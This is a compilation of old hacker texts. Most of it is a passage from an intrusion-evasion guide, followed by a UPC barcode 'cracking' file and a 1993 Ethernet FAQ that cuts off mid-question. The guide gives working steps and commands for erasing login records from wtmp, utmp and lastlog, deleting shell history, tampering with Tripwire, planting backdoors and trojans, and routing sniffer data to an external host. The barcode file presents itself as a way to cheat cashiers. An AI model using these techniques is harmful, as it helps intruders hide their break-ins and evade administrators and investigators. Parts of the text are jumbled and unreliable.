are endless Lowcost prevention can be done by electronic pulse jammers
and therelike which become available on the public market, but I don't
think this is secure enough to keep anyone dedicated away.
3. YOUR OWN ACCOUNT
So let's talk about your own account. This is your real account you got
at
your school/university/job/provider and is associated with your name.
Never
forget to fail these rules:
Never do any illegal or suspicious things with your real accounts! Never
even try to telnet to a hacked host! Security mailing lists are okay
to
read with this account. But everything which seems to have to do with
hacking must be either encrypted or be deleted as once. Never leave/save
hacking/security tools on your account's harddisk. If you can, use POP3
to
connect to the mailserver and get+delete your email (or do it in an other
way if you are experienced enough using unix) Never give out your real
email if your realname is in your .plan file and/or geco field (remember
the EXPN command from sendmail ...) Give it only to guys who you can
trust
and are also security conscious, because if they are caught you may follow
(or if it's a fed, not a hacker) Exchange emails with other hackers only
if they are encrypted (PGP) SysAdmins OFTEN snoop user directories and
read
other's email! Or another hacker might hack your site and try to get
your
stuff!
Never use your account in a way which shows interest in hacking. Interest
in security is okay but nothing more.
4. THE LOGS
There are 3 important log files:
WTMP - every log on/off, with login/logout time plus tty and host
UTMP - who is online at the moment
LASTLOG - where did the logins come from
There exist others, but those will be discussed in the advanced section.
Every login via telnet, ftp, rlogin and on some systems rsh are written
to
these logs. It is VERY important that you delete yourself from those
logfiles if you are hacking because otherwise they
a) can see when did you do the hacking exactly
b) from which site you came
c) how long you were online and can calculate the impact
NEVER DELETE THE LOGS! It's the easiest way to show the admin that a
hacker
was on the machine. Get a good program to modify the logs. ZAP (or ZAP2)
is
often mentioned as the best - but in fact it isn't. All it does is
overwriting the last login-data of the user with zeros. CERT already
released simple programs which check for those zero'ed entries. So thats
an easy way to reveil the hacker to the admin too. He'll know someone
hacked root access and then all you work was worthless. Another important
thing about zap is that it don't report if it can't find the log files
- so
check the paths first before compiling! Get either a program which
CHANGES
the data (like CLOAK2) or a really good one which DELETES the entries
(like CLEAR).
Normally you must be root to modify the logs (except for old distributions
which have got utmp and wtmp world-writable). But what if you didn't
made
it hacking root - what can you do? Not very much : Do a rlogin to the
computer you are on, to add a new unsuspicous LASTLOG data which will
be
displayed to the owner when he logs on next time. So he won't get
suspicious if he sees "localhost". Many unix distributions got a bug
with
the login command. When you execute it again after you logged already
on,
it overwrites the login-from field in the UTMP (which shows the host
you
are coming from!) with your current tty.
Where are these log files by default located? That depends on the unix
distribution.
UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log
LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log
on some old unix dists the lastlog data is written into $HOME/.lastlog
5. DON'T LEAVE A TRACE
I encountered many hackers who deleted themselves from the logs. But
they
forgot to erase other things they left on the machines : Files in /tmp
and
$HOME
Shell History
It should be another as you current login account uses. Some shells leave
a history file (depends on enviroment configuration) with all the
commands
typed. Thats very bad for a hacker. The best choice is to start a new
shell
as your first command after logging in, and checking every time for a
history file in you $HOME. History files :
sh:.sh_historycsh:.historyksh:.sh_historybash:.bash_historyzsh:.his
tory
Backup Files :
dead.letter, *.bak, *~
In other words: do an "ls -altr" before you leave!
Here're 4 csh commands which will delete the .history when you log out,
without any trace.
mv .logout save.1
echo rm .history>.logout
echo rm .logout>>.logout
echo mv save.1 .logout>>.logout
6. THINGS YOU SHOULD AVOID
Don't crack passwords on an other machine than your own, and then only
on a
crypted partition. If you crack them on a e.g. university and the root
sees
your process and examines it not only your hacking account is history
but
also the site from which the password file is and the university will
keep
all eyes open to watch out for you. Download/grab the passwd data and
crack
them on a second computer or in a background process. You don't need
many
cracked accounts, only a few.
If you run important programs like ypx, iss, satan or exploiting programs
then rename them before executing or use the small common source to
exchange
the executed filename in the process list ... ever security conscious
user
(and of course admin) knows what's going on if he sees 5 ypx programs
running in the background ... And of course if possible don't enter
parameters on the command line if the program supports an interactive
mode,
like telnet. Type "telnet" and then "open target.host.com" ... which
won't
show the target host in the process list as parameter.
If you hacked a system - don't put a suid shell somewhere! Better try
to
install some backdoors like ping, quota or login and use fix to correct
the atime and mtime of the file if you don't have got another possiblity.
IV. ADVANCED
CONTENTS:
1. Preface
2. Prevent Tracing of any kind
3. Find and manipulate any log files
4. Check the syslog configuration and logfile
5. Check for installed security programs
6. Check the admins
7. How to "correct" checksum checking software
8. User Security Tricks
9. Miscellaneous
1. PREFACE
Once you installed your first sniffer and begin to hack worldwide then
you
should know and use these checks & techniques! Use the tips presented
here
- otherwise your activity will be over soon.
2. PREVENT TRACING OF ANY KIND
Sometimes your hacking will be noticed. Thats not a real problem - some
of
your sites will be down but who cares, there are enough out there to
overtake. The very dangerous thing is when they try to trace you back
to
your origin - to deal with you - bust you!
This short chapter will tell you every possiblity THEY have to trace
you
and what possibilities YOU have to prevent that.
1. Normally it should be no problem for the Admin to identify the system
the hacker is coming from by either:
•checking the log entries; if the hacker was really lame, •taking a look
at
the sniffer output the hacker installed and he's in too, •any other audit
software like loginlog, •or even show all estrablished connections with
"netstat" if the hacker is currently online
- expect that they'll find out! Thats why you need a gateway server.
2. A gateway server in between - what is it? Thats one of many many
servers
you have accounts on, which are absolutely boring systems and you have
got
root access on. You need the root access to alter the wtmp and lastlog
files plus maybe some audit logs do nothing else on these machines! You
should change the gateway servers on a regular basis, say every 1-2 weeks,
and don't use them again for at least a month. With this behaviour it's
unlikely that they will trace you back to your next point of origin :
the
hacking server.
3. Your Hacking Server - basis of all activity From these server you
do
begin hacking. Telnet (or better : remsh/rsh) to a gateway machine and
then to the target. You need again root access to change the logs. You
should change your hacking server every 2-4 weeks.
4. Your Bastian/Dialup server. This is the critical point. Once they
can
trace you back to your dialup machine you are already fried. A call to
the
police, a line trace and your computer hacking activity is history and
maybe the rest of your future too. You *don't* need root access on a
bastion host. Since you only connect to it via modem there are no logs
which must be changed. You should use a different account to log on the
system every day, and try to use those which are seldom used. Don't modify
the system in any way! You should've got at least 2 bastion host systems
you can dialup to and switch between them every 1-2 month.
Note: If you have got the possiblity to dialup different systems
every day (f.e. due blueboxing) then do so. you don't need
a hacking server then.
5. Do bluebox/card your call or use an outdial or any other way. So
even
when they capture back your bastion host, they can't trace you
(easily) ...
For blueboxing you must be cautious, because germany and the phone
companies
in the USA do have surveillance systems to detect blueboxers ... At&t
traces
fake cred card users etc. Using a system in between to transfer your
call
does on the one side make tracine more difficult - but also exposes you
to
the rish being caught for using a pbx etc. It's up to you. Note too that
in
f.e. Denmark all - ALL - calling data is saved! Even 10 years after your
call they can prove that *you* logged on the dialup system which was
used
by a hacker ...
6.Miscellaneous
If you want to run satan, iss, ypx, nfs filehandle guessing etc. then
use a
special server for this. don't use it to actually telnet/rlogin etc.
to a
target system, only use it for scanning. Connect to it as if it were
a
gateway server.
Tools are out there which binds to a specific port, and when a connection
is established to this port, it's automatically opening a connection
to
another server some other just act like a shell on the system, so you
do a
"telnet" from this socket daemon too. With such a program running you
won't
be written in any log except firewall logs. There are numerous programs
out there which do that stuff for you.
If possible, the hacking server and/or the gateway machine should be
located in a foreign country! Because if your breakin (attempt) was
detected and your origin host identified then most admins will tend to
give
up to hunt after you. Even if the feds try to trace you through different
countries it will delay them by at least 2-10 weeks ...
CONCLUSION: If you hack other stuff than univerisities then do it this
way!
Here is a small picture to help you ;-)
+-------+
~--------------->
+-------------+
+-----------+
|+-----+|
>hopefully
>
|| YOU || --> >a trace-safe
|+-----+|
|
> --> |least 3
>dial possiblity>
+-------+
|one of at
|one of many|
| --> |hacking
|bastion hosts|
~--------------->
|
|server
|
+-------------+
+-----------+
|
|
v
+-----------------+
+--------+
|maybe additional |
| the
|server from
|
+-----------+
|one hacked |
| ... <-- ... | main | <-- |server as |
|internal network |
| target |
|gateway
|
+-----------------+
+--------+
+-----------+
3. FIND AND MANIPULATE ANY LOG FILES
It's important that you find all logfiles - even the hidden ones. To
find
any kind of logfiles there are two easy possibilities:
•Find all open files.
Since all logfiles must write somewhere, get the cute program LSOF LiSt
Open Files - to see them ... check them ... and if necessary correct
them.
•Search for all files changed after your login.
After your login do a "touch /tmp/check" then work on. Later just do
a
"find / -newer /tmp/check -print" and check them if any of those are
audit files. see>check>correct. Note that not all versions of find
support
the -newer option You can also do a "find / -ctime 0 -print" or
"find / -cmin 0 -print" to find them.
Check all logfiles you find. Normally they are in /usr/adm, /var/adm
or
/var/log. If things are logged to @loghost then you are in trouble. You
need to hack the loghost machine to modify the logs there too ...
To manipulate the logs you can either do things like "grep -v", or do
a
linecount with wc, and then cut off the last 10 lines with
"head -LineNumbersMinus10", or use an editor etc. If the log/audit files
are not textfiles but datarecords ... identify the software which writes
the logfiles. Then get the sourcecode. Then find the matching header
file
which defines the structure of the file. Get zap, clear, cloak etc. and
rewrite it with the header file to use with this special kind of logfile
(and it would be kind to publish your new program to the hacker society
to safe others much work)
If accouting is installed then you can use the acct-cleaner from zhart,
also in this release - it works and is great!
A small gimmick if you must modify wtmp but can't compile a source and
no
perl etc. is installed (worked on SCO but not on linux) : Do a uuencode
of
wtmp. Run vi, scroll down to the end of the file, and and delete the
last
4 (!) lines beginning with "M" ... then save+exit, uudecode. Then the
last
5 wtmp entries are deleted ;-)
If the system uses wtmpx and utmpx as well you are in trouble ... I don't
know any cleaner so far who can handle them. Program one and make it
available for the scene.
4. CHECK THE SYSLOG CONFIGURATION AND LOG
Most programs use the syslog function to log anything they want. It's
important to check the configuration where syslog does print special
types. The config file is /etc/syslog.conf - and I won't tell you here
what the format is and what each entry means. Read the manpages about
it.
Important for you are kern.*, auth.* and authpriv.* types. Look where
they are written too: files can be modified. If forwarded to other hosts
you must hack those too. If messages are sent to a user, tty and/or
console you can do a small trick and generate false log messages like
"echo 17:04 12-05-85 kernel sendmail[243]: can't resolve bla.bla.com
> /dev/console"
or whichever device you want to flood so that the message you want to
hide
simply scrolls over the screen. These log files are very important!
Check them.
5. CHECK FOR INSTALLED SECURITY PROGRAMS
On most security conscious sites, there are security checkers run by
cron.
The normal directory for the crontabs are /var/spool/cron/crontabs.
Check
out all entries, especially the "root" file and examine the files they
run.
For just a fast investigation of the crontabs of root type "crontab -l
root".
Some of those security tools are most time also installed on the admins'
accounts. Some of them (small utils to check wtmp, and if a sniffer is
installed) are in their ~/bin. Read below to identify those admins and
check their directories.
Internal checking software can be tiger, cops, spi, tripwire, l5,
binaudit,
hobgoblin, s3 etc.
You must examine them what they report and if they would report something
that would be a sign of your breakin. If yes you can
•update the data files of the checker (learn mode) so that it won't report
that type anymore •reprogram/modify the software so that they don't
report
it anymore. (I love fake cpm programs ;-) •if possible remove the e.g.
backdoor you installed and try to do it in another way.
6. CHECK THE ADMINS
It
is
important
for
you
to
check
the
sysops
for
the
security
counter-measures
they do - so first you need to know which normal accounts are they use.
You
can check the .forward file of root and the alias entry of root. Take
a look
into the sulog and note those people who did a successful su to root.
Grab
the group file and examine the wheel and admin group (and whatever other
group are in this file which are related to administration). Also
grep'ing
the passwd file for "admin" will reveile the administrators.
Now you should know who the 1-6 administrators on the machines are. Change
into their directories (use chid.c, changeid.c or similar to become the
user if root is not allowed to read every file) and check their
.history/.sh_history/.bash_history to see what commands they type
usually.
Check their .profile/.login/.bash_profile files to see what aliases are
set and if auto-security checks or logging are done. Examine their ~/bin
directory! Most times compiled security checking programs are put there!
And of course take a look into each directory they've got beside that
(ls -alR ~/). If you find any security related stuff, read 5.) for
possibilities to bypass those protections.
7. HOW TO "CORRECT" CHECKSUM CHECKING SOFTWARE
Some admins really fear hacker and install software to detect changes
of
their valuable binaries. If one binary is tampered with, next time the
admin does a binary check, it's detected. So how can you
a.find out if such binary checkers are installed and b.how to modify
them
so you can plant in your trojan horse?
Note that there are many binary checker out there and it's really easy
to
write one - takes only 15 minutes - and can be done with a small script.
So
it's hard to find such software if it's installed. Note that internal
security checking software sometimes also support such checking. Here
are
some widely used ones :
SOFTWARE STANDARD PATHBINARY FILENAMES:
tripwire/usr/adm/tcheck
/usr/local/adm/tcheckdatabases
/usr/local/adm/audit
But as you can see there are too much possibilities! The software or
database could even be on an normally unmounted disk or NFS exported
partition of another host. Or the checksum database is on a write
protected
medium. There are too much possibilities. But normally you can just do
the
fast check if the above packages are installed and if not go on exchanging
binaries. If you don't find them but it actually is a very well secured
site then you should NOT tamper with the binaries! They sure have got
them
hidden very well.
But what do you do when you find that software installed and you can
modify
them (e.g. not a write protected medium, or something that can be bypasswd
- for example unmounting the disk and remounting writable)? You've got
2
possibilities :
•First you can just check the parameters of the software and run an
"update" on the modified binary. For example for tripwire that's
"tripwire -update /bin/target".
•Seconds you can modify the filelist of the binaries being checked removing the entry of the replaced one. Note that you should also check
if the database file itself is checked too for changes! If yes update/delete the entry as well.
8. USER SECURITY TRICKS
This is a rare thing and is only for sake of completeness. Some users,
named
admins and hackers, usually don't want their own accounts to be used
by
someone else. That's why they sometimes put some security features into
their startup files.
So check all dotfiles (.profile, .cshrc, .login, .logout etc.) what
commands
they execute, what history logging and which searchpath they set. If
f.e.
$HOME/bin comes before /bin in the search path you should check the
contents
of this directory ... maybe there's a program called "ls" or "w" installed
which logs the execution time and after that executing the real program.
Other check automatically the wtmp and lastlog files for zap usage,
manipulation of .rhosts, .Xauthority files, active sniffers etc. Never
mess
with an account a unix wizard is using!
9. MISCELLANEOUS
Finally, before some last words about being under suspect or caught,
here
are some miscellaneous things which a worth to take a notice off.
Old telnet clients do export the USER variable. An administrator who
knows
that and modified the telnetd can get all user names with that and so
identify the account you are hacking from, once he notices you. The new
clients have been fixed - but a clever admin has got other possiblities
to identify the user : the UID, MAIL and HOME variables are still exported
and makes identifying of the account used by the hacker easy. Before
you
do a telnet, change the USER, UID, MAIL and HOME variable, maybe even
the
PWD variable if you are in the home directory.
On HP-UX < v10 you can make hidden directories. I'm not talking about .
(dot) files or similar but a special flag. HP introduced it v9, but was
removed from version 10 (because it was only used by hackers ;-). If
you
do a "chmod +H directory" it's invisible for the "ls -al". To see the
hidden directories you need to add the -H switch to ls, e.g. "ls -alH"
to
see everything.
Whenever you are in need to change the date of a file, remember that
you
can use the "touch" command to set the atime and mtime. You can set the
ctime only by raw writes to the harddisk ...
If you install sniffer and it's an important system, then make sure that
you either obfusicate the sniffer output (with an encryption algorythm
[and i'm not talking about rot13] or let the sniffer send all the captured
data via icmp or udp to an external host under your control. Why that?
If
the admin finds somehow the sniffer (cpm and other software checking
for
sniffers) they can't identify in the logfile what data was sniffed, so
he
can't warn hosts sniffed by you.
V. UNDER SUSPECT
Once you are under suspect (by either police and/or administrator) you
should take special actions so they won't get evidence on you.
NOTE : If the administrators think you are a hacker,
YOU ARE GUILTY UNTIL PROVEN INNOCENT
The laws means nothing to the admins (sometimes I think the difference
between a hacker and an administrator is only that the computer belongs
to
them). When they think you are a hacker you are guilty, without a lawyer
to
speak for you. They'll monitor you, your mails, files, and, if they are
good enough, your keystrokes as well.
When the feds are involved, you phone line might be monitored too, and
a
raid might come soon.
If you notice or fear that you are under suspect then keep absolutely
low
profile! No offensive action which points to hacking should be done.
Best thing is to wait at least 1-2 month and do nothing. Warn your friends
not to send you any email, public normal only, non-offensive mail is
wonderful, put pgp encrypted emails will ring the alarm bells of
monitoring
admins and feds. Cut down with everything, write some texts or program
tools for the scene and wait until things have settled. Remember to
encrypt
all your sensitive data and remove all papers with account data, phone
numbers etc. Thats the most important stuff the feds are looking for
when
they raid you.
VI. CAUGHT
Note that this small chapter covers only the ethics and basics and hasn't
got any references to current laws - because they are different for every
country.
Now we talking about the stuff you should/shouldn't do once the feds
visited you. There are two very important things you have to do:
1. GET A LAWYER IMMEDEATELY! The lawyer should phone the judge and appeal
against the search warrant. This doesn't help much but may hinder them
in
their work. The lawyer should tell you everything you need to know what
the feds are allowed to do and what not. The lawyer should write a letter
to the district attorney and/or police to request the computers back
as
fast as possible because they are urgently needed to do business etc.
As
you can see it is very useful to have got a lawyer already by hand instead
of searching for one after the raid.
2. NEVER TALK TO THE COPS! The feds can't promise you anything. If they
tell you, you'll get away if you talk, don't trust them! Only the district
attorney has got the power to do this. The cops just want to get all
information possible. So if you tell them anything they'll have got more
information from and against you. You should always refuse to give
evidence - tell them that you will only talk with them via your lawyer.
Then you should make a plan with your lawyer how to get you out of this
shit and reduce the damage. But please keep in mind : don't betray your
friends. Don't tell them any secrets. Don't blow up the scene. If you
do,
that's a boomerang : the guys & scene will be very angry and do revenge,
and those guys who'll be caught because of your evidence will also talk
... and give the cops more information about your crimes!
Note also that once you are caught you get blamed for everything which
happened on that site. If you (or your lawyer) can show them that they
don't have got evidences against you for all those cases they might have
trouble to keep the picture of that "evil hacker" they'll try to paint
about you at the court. If you can even prove that you couldn't do some
of the crimes they accuse you for then your chances are even better.
When
the judge sees that false accuses are made he'll suspect that there could
be more false ones and will become distrusted against the bad prepared
charges against you.
I get often asked if the feds/judge can force you to give up your
passwords for PGP, encrypted files and/or harddisks. That's different
for every country. Check out if they could force you to open your
locked safe. If that's the case you should hide the fact that you are
crypting your data! Talk with your lawyer if it's better for you to stand
against the direction to give out the password - maybe they'd get
evidences which could you get into jail for many years.
(For german guys : THC-MAG #4 will have got an article about the german
law, as far as it concerns hacking and phreaking - that article will
be
of course checked by a lawyer to be correct. Note that #4 will only
discuss germany and hence will be in the german language. But
non-germans,
keep ya head up, this will be the first and last german only magazine
release ;-)
VII. PROGRAMS
Here is a small list of programs you should get and use (the best!).
DON'T email me where to get them from - ask around in the scene! I only
present here the best log modifiers (see III-4 and IV-3). Other programs
which are for interest are telnet redirectors (see IV-2) but there are
so
many, and most compile only on 1-3 unix types so there's no use to make
a
list.
First a small glossary of terms: Change - changes fields of the logfile
to
anything you want. Delete - deletes, cuts out the entries you want. Edit
real editor for the logfile. Overwrite - just overwrites the entries
with
zero-value bytes. (Don't use overwriters (zap) - they can be detected!)
LOG MODIFIERS:
ah-1_0b.tar
Changes the entries of accounting
informationclear.c
Deletes entries in utmp, wtmp, lastlog and wtmp
xcloak2.c
Changes the entries in utmp, wtmp and
lastlog
invisible.c
Overwrites utmp, wtmp and lastlog with predefines
values, so it's better than zap.
Watch out, there are numerous inv*.c !marryv11.c
Edit utmp, wtmp, lastlog and accounting data - best!
wzap.c
Deletes entries in wtmp
wtmped.c
Deletes entries in wtmp
zap.c
Overwrites utmp, wtmp, lastlog - Don't use! Can be
detected!
VIII. LAST WORDS
Last fucking words: Don't get caught, remember these tips and keep your
ears
dry. If someone would like to correct some points, or would like to add
a
comment, or needs more information on a topic or even thinks something's
missing - then drop me a note.
Cracking the Universal Product Code
by Count Nibble
--------------Everyone encounters the UPC nowadays. You know, it's that set of black bars
you see on virtually every product whenever you go to the grocery store, to
buy a book or a magazine, or even to buy software (assuming that you do,
indeed, BUY your software).
Have you ever though of what fun you could have
by altering that little set of black bars? If you were lucky enough, you might
be able to slip a box of industrial size laundry detergent by that dizzy 16year-old girl at the Safeway and have the computer charge you the price of a
pack of Juicy Fruit, or some other such mischief.
Well, to help you in your
explorations of How To Screw Over Others In This Grand Old Computerized World
of Ours, I proudly present HOW TO CRACK TO UPC CODE. Use the information
contained herein as you will.
You will need the file UPC.PIC, hopefully
available from the same place you found this file. And so, let's begin:
When the lady at the corner market runs the package over the scanner (or
whatever it is they do in your area), the computerized cash register reads
the UPC code as a string of binary digits. First it finds the "frame bars" - a
sequence of "101" (see A on picture). There are three sets of frame bars on
any given code...one on either side, and one in the center. These do nothing
but set off the rest of the data, and are the same on any UPC code.
Next is
the "number system character" digit, which is encoded in leftside code (see
later).
This digit tells the computer what type of merchandise is being
purchased. The digits and their meanings are:
0
- Ordinary grocery items. Bread, magazines, soup, etc.
2
- Variable-weight items.
3
- Health items. Aspirin, bandaids, tampons, etc.
5
- Cents-off coupon. (Not sure how this works).
Meats, fruits & veggies, etc.
The next cluster of digits is the manufacturer number, again stored in leftside
code.
THere are five digits here all the time.
Some numbers include 51000 for
Campbell's Soup, 14024 for Ziff-Davis publishing (Creative Computing, A...),
and 51051 for Infocom. The next five digits (after the frame bars) are the
product/size id number.
The number for "The Hitchhiker's Guide to the Galaxy"
from Infocom is 01191. These digits are stored in rightside code. Finally
there is the checksum, in rightside, which will be discussed later.
Now, why are there two types of codes, leftside and rightside?
That's so
the person at the checkout counter can slide the thing by the scanner any way
she pleases.
By having different codings for either side the computer can
tell the right value no matter how the digits are read in.
Here are the
codes for the digits 0 through 9:
Digit
Leftside code
Rightside code
0
0001101
1110010
1
0011001
1100110
2
0010011
1101100
3
0111101
1000010
4
0100011
1011100
5
0110001
1001110
6
0101111
1010000
7
0111011
1000100
8
0110111
1001000
9
0001011
1110100
The more observant among you may have noticed that Rightside code is nothing
more than logical-NOTed Leftside code, i.e., a 0 in Leftside is a 1 in Rightside, and vice versa. Later on we will discuss another type called Reversed
Rightside, in which the binary values in Rightside are reversed, meaning that
1110100 (9) in Rightside would be 0010111 in Reversed Rightside. RR is used
only when there is an extra set of codes off to the right of the main code
bars, as with books and magazines.
Now we see the hard part: how the checksum digit is encoded.
Let's try working
out the checksum for "Hitchhiker's Guide".
First, notice the Number System Character. Software is considered a Grocery
Item by UPC, so the NSC is 0 (zero).
Next, Infocom's Manufacturer's Number
is 51051, and the game's id number is 01191. Good enough.
Set together,
these numbers look like this:
0 51051 01191
Now, take the digits of the code and write them on alternate lines, odd on one
line, even below, giving this:
0 1 5 0 1 1
5 0 1 1 9
Now add each set of numbers:
0+1+5+0+1+1 = 8
5+0+1+1+9 = 16
Multiply the first number (the ones created by adding the first, third, etc
digits) by three:
8x3 = 24
And add that to the result of the other number (second, fourth, etc digits
added together):
24+16=40
Subtract this from the next higher or equal multiple of 10 (40 in this case)
40-40=0
And the remainder, here 0 (zero), is the checksum digit.
Now, what if there's a set of other bars off to the side? These are encoded
in another format which uses Reversed Rightside (as described above) instead
of standard Rightside. For books, the sequence is as follows:
Five digits
Starts with 1011
If (first digit is even) then
sequence is L-RR-L-L-RR
else
sequence is RR-L-L-RR-L
each digit is separated with 01
Therefore, the sequence for 29656 is:
1011 0010011 01 0010111 01 0101111 01 0110001 01 0000101
2L
9RR
6L
5L
6RR
and the sequence for 14032 is:
1011 0110011 01 0100011 01 0001101 01 0100001 01 0010011
1RR
4L
0L
3RR
2L
Naturally, all these bars are run together. There is no checksum.
For magazines, the sequence is even more complex.
There are two digits
in each bar, and the numbers usually run from 1-12, signifying the month.
The first digits are encoded thusly:
L if the digit is 1,4,5,8 or 9 and
RR if the digit is 2,3,6,7 or 0.
The second digit is coded in L if it is even, and RR if it is odd. Therefore,
06 codes as:
1011 0100111 01 0101111
and 11 codes as:
1011 0110011 01 0110011
No checksum here, either, and the fields are again separated by 01.
Well, that about does it for this explanation of how to crack the UPC codes.
Use this information as you will, and forward any question to THE SPACE BAR,
xxx-xxx-xxxx, pw:BANZAI. Enjoy!
- Count Nibble -
The PIRATES HOLLOW
xxx-xxx-xxxx ;(
Newsgroups: comp.dcom.lans.ethernet
From: barr@tramp.Colorado.EDU (BARR DOUG)
Subject: Ethernet FAQ
Organization: University of Colorado, Boulder
Date: Tue, 5 Jan 1993 20:51:40 GMT
This has not been posted for a while, so I am taking the liberty of
posting it:
Q: What is a runt?
A: A packet that is below the minimum size for a given protocol. With
Ethernet,
a runt is a frame shorter than the minimum
legal length
of 64 bytes (at Data Link).
Q: What causes a runt?
A: Runt
packets
can be
caused accidentally
or intentionally. If
accidental, they are most likely the result of a faulty device on
the network, or software gone awry.
If intentional, they may be
designed to be runts for a specific reason. SNMP (Simple Network
Management Protocol) is often sent as runt
packets so
that many
devices will simply ignore it.
Q: What is a jabber?
A: A blanket term for a device that is behaving improperly in terms of
electrical signalling on a network. In Ethernet this is Very Bad,
because Ethernet uses electrical signal levels to determine whether
the network is available for transmission.
A jabbering device can
cause the entire network to halt because all other devices think it
is busy.
Q: What causes a jabber?
A: Typically a bad network interface card in a machine on the network.
In
bizarre
circumstances
outside
interference might cause it.
These are very hard problems to trace with layman tools.
Q: What is a collision?
A: A condition where two devices detect
that the network is idle and
end up trying to send packets at exactly the same time. (within 1
round-trip delay) Since
only one device
can transmit at a time,
both devices must back off and attempt to retransmit again.
The retransmission algorithm requires each device to wait
amount of
time, so the two are very likely
times, and thus the second
a random
to retry at different
one will sense that the network is busy
and wait until the packet is finished. If the two devices retry at
the same time (or almost the same
time) they will collide again,
etc.
Q: What causes a collision?
A: See above. Ethernet is a CSMA/CD
(Carrier Sense Multiple Access/
Collision Detect) system. It is possible to not sense carrier from
a previous device and attempt to transmit anyway, or
devices attempt to transmit at the
collision
results.
Ethernet
is
to
have two
same time; in either case
a
particularly susceptible to
performance loss from such
problems when people ignore the "rules"
for wiring Ethernet.
Q: What is a jam?
A: When a workstation receives a collision, and it is transmitting, it
puts out a jam so all other stations will
see the collision also.
When a repeater detects a collision on one port, it puts out a jam
on
all other ports, causing a collision to occur on those lines
that are transmitting, and causing any non-transmitting stations to
wait to transmit.
Q: What is a broadcast storm?
A: An
overloaded term that describes
an overloaded protocol. :-).
Basically it describes a condition where devices on the network are
generating traffic that by its nature causes the generation of even
more
traffic.
The inevitable
result is a huge degradation of
performance or complete loss of the network as the devices continue
to
generate more and more traffic.
This can be related
to the
physical transmission or to very high level protocols. There is
a
famous example of Banyan Vines bringing a huge network to its knees
because of the addition
of a single server, which brought the
network to "critical mass"
(this logic error has been corrected).
NFS is famous for this type of failure.
Q: How do I recognize a broadcast storm?
A: That depends on what level
it is occurring. Basically you have to
be aware of the potential for it beforehand and be looking for it,
because in a true broadcast storm you will probably be unable to
access the
network.
level protocol.
This can change dramatically for a higher
NFS contention can result
in a
dramatic DROP in
Ethernet traffic, yet no one will have access to resources.
Q: How can I prevent a broadcast storm?
A: Avoid protocols that are prone to it. Route when it is
Don't buy Ethernet. :-).
practical.
Q: What is *high* traffic on an Ethernet? 5%? 20%? 90%?
A: High traffic is when things start slowing down to the point they
are no longer acceptable. There is
not set percentage point, in
other words. Xerox used to use a formula based on packet size over
time, or something, but the issue has been significantly muddied by
the plethora of protocols available and how they react
usage.
to wire
I usually start paying attention over 40-50%, *or when
things slow down*. I've seen IPX segments that
were slow with less
than 20% usage.
Q: What means SQE? What is it for?
A: SQE is the IEEE term for a collision. (Signal Quality Error)
Q: What means "heartbeat"? What is it for?
A: Heartbeat (a.k.a. SQE Test) is a means of detecting a transceiver's
inability
to
detect collisions.
Ethernet
will
test the
The normal
your
Without heartbeat, it is
collision
implemented
of an
transceiver's power, transmitter and
receiver; if any of these fail the station will
loopback.
operation
not hear its own
not possible to determine if
detector is operating properly.
Heartbeat is
by generating a test signal on the collision pair from
the transceiver (or its equivalent) following every transmission on
the network. It does not generate any signal on the common medium.
Note
the older usage of
this term to refer to the +-.7V carrier
sense wave, although I haven't heard it used that way in a while
(since SQE indicators became popular on transceivers).
Q: What means "CSMA/CD"?
A: Carrier Sense, Multiple
Access, with Collision Detection, the MAC
(Media Access Control) algorithm used by Ethernet to help avoid two
devices on the same cable from transmitting at the same time, or at
least recognize when this has happened so that
back-off and try again later.
the two devices can
Q: What means "IPG"?
A: The InterPacket Gap (more properly
Gap,
or IFG) is an
referred to as the InterFrame
enforced quiet time of 9.6 us between
transmitted Ethernet frames.
Q: Does a NEMP (Nuclear Electro-Magnetic Pulse) affect an Ethernet?
A: The Russians have done the most research into the effects of NEMP,
although the US and various European countries have also looked
into
it.
I doubt that the results and theses from this
work is
available. Given my very limited understanding of the effect (as a
layman), yes, I expect it would.
(since it is non-conducting)
surviving NEMP.
Obviously, a fiber-optic network
would have a
greater
chance for
However, I suspect the EMF would not
be signif-
icantly retarded by most system enclosures to prevent damage to the
network interface (as well as the
rest of the system internals) in
spite of the lack of copper network cables acting as antennae.
Q: What means "promiscuous mode"?
A: A controller in promiscuous mode will receive all frames, regardless of destination address. Ethernet is promiscuous in that it
allows any device on a segment to hear every packet on that segment
if the card is so programmed. This is an obvious security
It used to be
the packets
that there was no way
themselves,
issue.
around this besides encoding
but Synoptics recently released a secure
Ethernet solution (blatant employee plug).
Q: How can I test an Ethernet?
A: You must
be
more specific. Do you wish to test the electrical
integrity of the wire (ie, will it carry a
you wish to
test the performance of it while running, etc?
former, a TDR
expands
If the
(see below) or cable scanner that incorporates and
on the capabilities
comprehensive tool, though
simple ohmmeter.
expensive
signal properly) or do
software,
of
a TDR
would
be the most
a great deal can be determined with a
The latter
requires special and often very
usually combined with custom hardware, to
capture, optionally filter, and analyze the network packets.
The
most basic test is to connect a pair of devices and see if they can
communicate with each other, while monitoring any status indicators
that the devices might provide.
Q: What is a "TDR"?
A: A Time-Domain Reflectometer is a tool used
to detect cable faults.
This device operates by sending a brief signal pulse down the cable
and looking
for its reflection to bounce back.
By analyzing the
reflected pulse, it is possible to make judgments about the quality
of the cable segment. More advanced units
can not only detect and
identify the nature of the problem, but give a reasonably
indication of the problem's location
the test).
accurate
(distance from the point of
There is also a device known as an OTDR, which is an
Optical Time-Domain Reflectometer for fiber-optic cables.
Q: What means "BERT"?
A: Bit Error Rate
Tester.
This equipment is used to analyze the
amount and types of errors that occur on a cable segment.
Q: What (free) tools are there to monitor/decode/etc an Ethernet?
A: There are many built into most Unix systems.
Some cards for the PC
come with utilities. There are several free ones available. Again,
use archie.
Q: What is the difference
between
an Ethernet frame and a IEEE802.3
frame? Why are there two types? Why is there a difference?
A: Ethernet was invented at Xerox Palo Alto Research Center and later
became an international standard. IEEE
handled making
it
a
standard; and their specifications are slightly different from the
original Xerox ones.
Hence, two different
types.
802.3 uses the
802.2 LLC to distinguish among multiple clients, and has a "LENGTH"
field where Ethernet has a 2-byte "TYPE" field to distinguish among
multiple client protocols.
TCP/IP and DECnet (and others) use Ethernet_II framing, which is
that which Xerox/PARC originated, while NetWare defaults to 802.3.
Q: What is SNAP
A: Sub-Network Access Protocol
Q: Where can I
find out
which Protocols use which Ethernet type
numbers?
A: Look at IETF RFC-1340 - Assigned Numbers RFC.
Q: What is UTP, STP?
